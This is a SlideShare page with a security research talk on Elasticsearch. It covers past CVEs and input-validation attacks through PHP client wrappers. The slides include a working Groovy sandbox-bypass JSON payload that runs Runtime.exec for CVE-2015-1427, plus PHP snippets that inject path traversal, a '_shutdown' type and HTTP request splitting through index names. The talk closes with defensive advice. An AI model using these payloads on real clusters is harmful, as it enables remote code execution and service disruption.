SlideShare a Scribd company logo
1 of 16
ElasticSearch:
Is it secure?
@d0znpp
Wallarm research
What is ElasticSearch?
“Elasticsearch is a distributed RESTful search engine
built for the cloud.“
Official repo: https://github.com/elastic/elasticsearch
Distributed Lucene instances broker
● RESTful API
● Native Java API
Clients: https://www.elastic.co/guide/index.html
Previous works
● NoSQL Injection for Elasticsearch Kindle Edition by
Gary Drocella http://goo.gl/OnfMOz
=> ACL to 9200 and 9300
● NoSQL Injections: Moving Beyond 'or '1'='1'. Matt
Bromiley Derbycon 2014 http://goo.gl/UBh42h
=> do not produce JSON by strings concatenation
● Securing ElasticSearch http://goo.gl/Ik3023
=> Use Nginx to provide BasicAuth and other advices
Previous bugs: 5 CVE
https://www.elastic.co/community/security
● CVE-2015-4165 is not disclosed yet ;(
“All Elasticsearch versions from 1.0.0 to 1.5.2 are vulnerable to an
attack that uses Elasticsearch to modify files read and executed by
certain other applications.”
● CVE-2015-3337 path trav. https://goo.gl/YWwu3a
● CVE-2015-1427 Groovy RCE https://goo.gl/Bi9SfC
● CVE-2014-6439 CORS issue https://goo.gl/7kMxod
● CVE-2014-3120 Java RCE https://goo.gl/iZL5L8
Sandbox bypass 1427
{
"size":1,
"script_fields":{
"lupin":{
"script":"java.lang.Math.class.forName("java.lang.Runti
me").getRuntime().exec("id").getText()"
}
}
}
What is my point?
BugBounty
https://research.facebook.com/search?q=a%20 200
https://research.facebook.com/search?q=a%22 500
$1000 reward for injection into JSON to ElasticSearch
But it might be RCE...
What is my point?
● Want to hack it through web-applications
● Because it’s really rare case when ES is present at
network perimeter
● To check wrappers for different platforms for input
validation attacks
● Yes, the same as with Memcached injections
https://goo.gl/9qV620 [BHUS-14]
4 popular clients (wrappers)
http://jolicode.com/blog/elasticsearch-php-clients-test-
drive
● Original (elasticsearch)
● Sherlock
● Elastica
● Nervetattoo
Let’s start from PHP
● RESTful tricks (while user data at URL ../ et al.)
● JSON syntax breakers (  “ } { ] [ )
● Native Java API
● Filename tricks (each index is a folder with the same
name). I suggests that it is CVE-2015-4165 vector ;)
Input validation kinds
● RESTful tricks (while user data at URL ../ et al.)
● JSON syntax breakers (  “ } { ] [ )
● Native Java API <- Only about RESTful clients now
● Filename tricks (each index is a folder with the same
name). I suggests that it is CVE-2015-4165 vector ;)
<- ES internals, not clients
Input validation kinds
● All URI parts goes through PHP urlencode().
But dot (0x2e) IS NOT encoded by RFC
● json_encode protects from injections into values
$params = array();
$params['body'] = array('testField' => 'abc');
$params['index'] = '..';
$params['type'] = '_shutdown';
// Document will be indexed to my_index/my_type/<autogenerated_id>
$ret = $client->index($params);
elasticsearch original
● URI parts “as is”
● json_encode protects from injections into values
$results = $es
->setIndex("what/../do/you/want!/")
->setType("and/../here/also!")
->search('title:cool&key=value&script_fields');//CVE
nervetattoo
But it’s a raw socket, baby!
$results = $es
->setIndex(" HTTP/1.1rn…”script”:”...”") // CVE
->setType("my_type")
->search('title:cool');
nervetattoo
● Use DSL methods
● Index name and type are not for users
● Do not concatenate strings to JSON
● Always filter data before putting into wrappers
Conclusions
https://twitter.com/d0znpp
blog.wallarm.com
Thx!

More Related Content

What's hot

Dive into sentry
Dive into sentryDive into sentry
Dive into sentryLeo Zhou
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
Bz backtrack.usage
Bz backtrack.usageBz backtrack.usage
Bz backtrack.usagedjenoalbania
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?snyff
 
Finding Needles in Haystacks
Finding Needles in HaystacksFinding Needles in Haystacks
Finding Needles in Haystackssnyff
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Orange Tsai
 
Ruxmon feb 2013 what happened to rails
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to railssnyff
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?Mikhail Egorov
 
JWT: jku x5u
JWT: jku x5uJWT: jku x5u
JWT: jku x5usnyff
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
Sentry (SF Python, Feb)
Sentry (SF Python, Feb)Sentry (SF Python, Feb)
Sentry (SF Python, Feb)zeeg
 
Defcon CTF quals
Defcon CTF qualsDefcon CTF quals
Defcon CTF qualssnyff
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and newLarry Cashdollar
 
Building A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerBuilding A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerXavier Mertens
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknessesIvan Novikov
 
Ruxmon cve 2012-2661
Ruxmon cve 2012-2661Ruxmon cve 2012-2661
Ruxmon cve 2012-2661snyff
 

What's hot (20)

Dive into sentry
Dive into sentryDive into sentry
Dive into sentry
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
Bz backtrack.usage
Bz backtrack.usageBz backtrack.usage
Bz backtrack.usage
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?
 
Flash it baby!
Flash it baby!Flash it baby!
Flash it baby!
 
Finding Needles in Haystacks
Finding Needles in HaystacksFinding Needles in Haystacks
Finding Needles in Haystacks
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
Hacking Wordpress Plugins
Hacking Wordpress PluginsHacking Wordpress Plugins
Hacking Wordpress Plugins
 
Ruxmon feb 2013 what happened to rails
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to rails
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
JWT: jku x5u
JWT: jku x5uJWT: jku x5u
JWT: jku x5u
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
Sentry (SF Python, Feb)
Sentry (SF Python, Feb)Sentry (SF Python, Feb)
Sentry (SF Python, Feb)
 
Defcon CTF quals
Defcon CTF qualsDefcon CTF quals
Defcon CTF quals
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and new
 
Building A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail ScannerBuilding A Poor man’s Fir3Ey3 Mail Scanner
Building A Poor man’s Fir3Ey3 Mail Scanner
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknesses
 
Secure Your Wordpress
Secure Your WordpressSecure Your Wordpress
Secure Your Wordpress
 
Ruxmon cve 2012-2661
Ruxmon cve 2012-2661Ruxmon cve 2012-2661
Ruxmon cve 2012-2661
 

Viewers also liked

Denis Makrushin & Maria Garnaeva - DeanonymizaTOR
Denis Makrushin & Maria Garnaeva - DeanonymizaTORDenis Makrushin & Maria Garnaeva - DeanonymizaTOR
Denis Makrushin & Maria Garnaeva - DeanonymizaTORDefcon Moscow
 
Goltsev Yuriy - Ломать - не строить!
Goltsev Yuriy - Ломать - не строить!Goltsev Yuriy - Ломать - не строить!
Goltsev Yuriy - Ломать - не строить!Defcon Moscow
 
Defcon Moscow #9 - Sergey Vishnyakov
Defcon Moscow #9 - Sergey VishnyakovDefcon Moscow #9 - Sergey Vishnyakov
Defcon Moscow #9 - Sergey VishnyakovDefcon Moscow
 
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...Defcon Moscow
 
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"Defcon Moscow
 
Defcon Moscow #9 - Mikhail Elizarov "MITM"
Defcon Moscow #9 - Mikhail Elizarov "MITM"Defcon Moscow #9 - Mikhail Elizarov "MITM"
Defcon Moscow #9 - Mikhail Elizarov "MITM"Defcon Moscow
 
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"Defcon Moscow
 
Oleg Kupreev - 802.11 tricks and threats
Oleg Kupreev - 802.11 tricks and threatsOleg Kupreev - 802.11 tricks and threats
Oleg Kupreev - 802.11 tricks and threatsDefcon Moscow
 

Viewers also liked (8)

Denis Makrushin & Maria Garnaeva - DeanonymizaTOR
Denis Makrushin & Maria Garnaeva - DeanonymizaTORDenis Makrushin & Maria Garnaeva - DeanonymizaTOR
Denis Makrushin & Maria Garnaeva - DeanonymizaTOR
 
Goltsev Yuriy - Ломать - не строить!
Goltsev Yuriy - Ломать - не строить!Goltsev Yuriy - Ломать - не строить!
Goltsev Yuriy - Ломать - не строить!
 
Defcon Moscow #9 - Sergey Vishnyakov
Defcon Moscow #9 - Sergey VishnyakovDefcon Moscow #9 - Sergey Vishnyakov
Defcon Moscow #9 - Sergey Vishnyakov
 
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...
Defcon Moscow #9 - Timur Yunusov "Особенности проведения социотехнического те...
 
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"
Defcon Moscow #0x0A - Oleg Kupreev "Uncommon MiTM in uncommon conditions"
 
Defcon Moscow #9 - Mikhail Elizarov "MITM"
Defcon Moscow #9 - Mikhail Elizarov "MITM"Defcon Moscow #9 - Mikhail Elizarov "MITM"
Defcon Moscow #9 - Mikhail Elizarov "MITM"
 
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"
Defcon Moscow #9 - Oleg Kupreev "Telecommunication Hardware Vulnerabilities"
 
Oleg Kupreev - 802.11 tricks and threats
Oleg Kupreev - 802.11 tricks and threatsOleg Kupreev - 802.11 tricks and threats
Oleg Kupreev - 802.11 tricks and threats
 

Similar to ElasticSearch Security: Input Validation Risks in Popular PHP Clients

OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxnmk42194
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxcgt38842
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaPrajal Kulkarni
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxjohnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxazida3
 
An Overview of Node.js
An Overview of Node.jsAn Overview of Node.js
An Overview of Node.jsAyush Mishra
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersJavan Rasokat
 
Intro to node.js - Ran Mizrahi (27/8/2014)
Intro to node.js - Ran Mizrahi (27/8/2014)Intro to node.js - Ran Mizrahi (27/8/2014)
Intro to node.js - Ran Mizrahi (27/8/2014)Ran Mizrahi
 
Intro to node.js - Ran Mizrahi (28/8/14)
Intro to node.js - Ran Mizrahi (28/8/14)Intro to node.js - Ran Mizrahi (28/8/14)
Intro to node.js - Ran Mizrahi (28/8/14)Ran Mizrahi
 
What’s new in WSO2 Enterprise Integrator 6.6
What’s new in WSO2 Enterprise Integrator 6.6What’s new in WSO2 Enterprise Integrator 6.6
What’s new in WSO2 Enterprise Integrator 6.6WSO2
 
RESTFul development with Apache sling
RESTFul development with Apache slingRESTFul development with Apache sling
RESTFul development with Apache slingSergii Fesenko
 
RESTful web service with JBoss Fuse
RESTful web service with JBoss FuseRESTful web service with JBoss Fuse
RESTful web service with JBoss Fuseejlp12
 
Elasticsearch und die Java-Welt
Elasticsearch und die Java-WeltElasticsearch und die Java-Welt
Elasticsearch und die Java-WeltFlorian Hopf
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
Finding and exploiting novel flaws in Java software (SyScan 2015)
Finding and exploiting novel flaws in Java software (SyScan 2015)Finding and exploiting novel flaws in Java software (SyScan 2015)
Finding and exploiting novel flaws in Java software (SyScan 2015)David Jorm
 
Как мы взломали распределенные системы конфигурационного управления
Как мы взломали распределенные системы конфигурационного управленияКак мы взломали распределенные системы конфигурационного управления
Как мы взломали распределенные системы конфигурационного управленияPositive Hack Days
 
Microservices Security Patterns & Protocols with Spring & PCF
Microservices Security Patterns & Protocols with Spring & PCFMicroservices Security Patterns & Protocols with Spring & PCF
Microservices Security Patterns & Protocols with Spring & PCFVMware Tanzu
 
Interview Questions of Python selenium.pptx
Interview Questions of Python selenium.pptxInterview Questions of Python selenium.pptx
Interview Questions of Python selenium.pptxDucatIndia4
 
Scala, docker and testing, oh my! mario camou
Scala, docker and testing, oh my! mario camouScala, docker and testing, oh my! mario camou
Scala, docker and testing, oh my! mario camouJ On The Beach
 

Similar to ElasticSearch Security: Input Validation Risks in Popular PHP Clients (20)

OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and Kibana
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
An Overview of Node.js
An Overview of Node.jsAn Overview of Node.js
An Overview of Node.js
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
 
Intro to node.js - Ran Mizrahi (27/8/2014)
Intro to node.js - Ran Mizrahi (27/8/2014)Intro to node.js - Ran Mizrahi (27/8/2014)
Intro to node.js - Ran Mizrahi (27/8/2014)
 
Intro to node.js - Ran Mizrahi (28/8/14)
Intro to node.js - Ran Mizrahi (28/8/14)Intro to node.js - Ran Mizrahi (28/8/14)
Intro to node.js - Ran Mizrahi (28/8/14)
 
What’s new in WSO2 Enterprise Integrator 6.6
What’s new in WSO2 Enterprise Integrator 6.6What’s new in WSO2 Enterprise Integrator 6.6
What’s new in WSO2 Enterprise Integrator 6.6
 
RESTFul development with Apache sling
RESTFul development with Apache slingRESTFul development with Apache sling
RESTFul development with Apache sling
 
RESTful web service with JBoss Fuse
RESTful web service with JBoss FuseRESTful web service with JBoss Fuse
RESTful web service with JBoss Fuse
 
Elasticsearch und die Java-Welt
Elasticsearch und die Java-WeltElasticsearch und die Java-Welt
Elasticsearch und die Java-Welt
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Finding and exploiting novel flaws in Java software (SyScan 2015)
Finding and exploiting novel flaws in Java software (SyScan 2015)Finding and exploiting novel flaws in Java software (SyScan 2015)
Finding and exploiting novel flaws in Java software (SyScan 2015)
 
Как мы взломали распределенные системы конфигурационного управления
Как мы взломали распределенные системы конфигурационного управленияКак мы взломали распределенные системы конфигурационного управления
Как мы взломали распределенные системы конфигурационного управления
 
Microservices Security Patterns & Protocols with Spring & PCF
Microservices Security Patterns & Protocols with Spring & PCFMicroservices Security Patterns & Protocols with Spring & PCF
Microservices Security Patterns & Protocols with Spring & PCF
 
Interview Questions of Python selenium.pptx
Interview Questions of Python selenium.pptxInterview Questions of Python selenium.pptx
Interview Questions of Python selenium.pptx
 
Scala, docker and testing, oh my! mario camou
Scala, docker and testing, oh my! mario camouScala, docker and testing, oh my! mario camou
Scala, docker and testing, oh my! mario camou
 
Express node js
Express node jsExpress node js
Express node js
 

ElasticSearch Security: Input Validation Risks in Popular PHP Clients

  • 2. What is ElasticSearch? “Elasticsearch is a distributed RESTful search engine built for the cloud.“ Official repo: https://github.com/elastic/elasticsearch Distributed Lucene instances broker ● RESTful API ● Native Java API Clients: https://www.elastic.co/guide/index.html
  • 3. Previous works ● NoSQL Injection for Elasticsearch Kindle Edition by Gary Drocella http://goo.gl/OnfMOz => ACL to 9200 and 9300 ● NoSQL Injections: Moving Beyond 'or '1'='1'. Matt Bromiley Derbycon 2014 http://goo.gl/UBh42h => do not produce JSON by strings concatenation ● Securing ElasticSearch http://goo.gl/Ik3023 => Use Nginx to provide BasicAuth and other advices
  • 4.
  • 5. Previous bugs: 5 CVE https://www.elastic.co/community/security ● CVE-2015-4165 is not disclosed yet ;( “All Elasticsearch versions from 1.0.0 to 1.5.2 are vulnerable to an attack that uses Elasticsearch to modify files read and executed by certain other applications.” ● CVE-2015-3337 path trav. https://goo.gl/YWwu3a ● CVE-2015-1427 Groovy RCE https://goo.gl/Bi9SfC ● CVE-2014-6439 CORS issue https://goo.gl/7kMxod ● CVE-2014-3120 Java RCE https://goo.gl/iZL5L8
  • 7. What is my point? BugBounty https://research.facebook.com/search?q=a%20 200 https://research.facebook.com/search?q=a%22 500 $1000 reward for injection into JSON to ElasticSearch But it might be RCE...
  • 8. What is my point? ● Want to hack it through web-applications ● Because it’s really rare case when ES is present at network perimeter ● To check wrappers for different platforms for input validation attacks ● Yes, the same as with Memcached injections https://goo.gl/9qV620 [BHUS-14]
  • 9. 4 popular clients (wrappers) http://jolicode.com/blog/elasticsearch-php-clients-test- drive ● Original (elasticsearch) ● Sherlock ● Elastica ● Nervetattoo Let’s start from PHP
  • 10. ● RESTful tricks (while user data at URL ../ et al.) ● JSON syntax breakers ( “ } { ] [ ) ● Native Java API ● Filename tricks (each index is a folder with the same name). I suggests that it is CVE-2015-4165 vector ;) Input validation kinds
  • 11. ● RESTful tricks (while user data at URL ../ et al.) ● JSON syntax breakers ( “ } { ] [ ) ● Native Java API <- Only about RESTful clients now ● Filename tricks (each index is a folder with the same name). I suggests that it is CVE-2015-4165 vector ;) <- ES internals, not clients Input validation kinds
  • 12. ● All URI parts goes through PHP urlencode(). But dot (0x2e) IS NOT encoded by RFC ● json_encode protects from injections into values $params = array(); $params['body'] = array('testField' => 'abc'); $params['index'] = '..'; $params['type'] = '_shutdown'; // Document will be indexed to my_index/my_type/<autogenerated_id> $ret = $client->index($params); elasticsearch original
  • 13. ● URI parts “as is” ● json_encode protects from injections into values $results = $es ->setIndex("what/../do/you/want!/") ->setType("and/../here/also!") ->search('title:cool&key=value&script_fields');//CVE nervetattoo
  • 14. But it’s a raw socket, baby! $results = $es ->setIndex(" HTTP/1.1rn…”script”:”...”") // CVE ->setType("my_type") ->search('title:cool'); nervetattoo
  • 15. ● Use DSL methods ● Index name and type are not for users ● Do not concatenate strings to JSON ● Always filter data before putting into wrappers Conclusions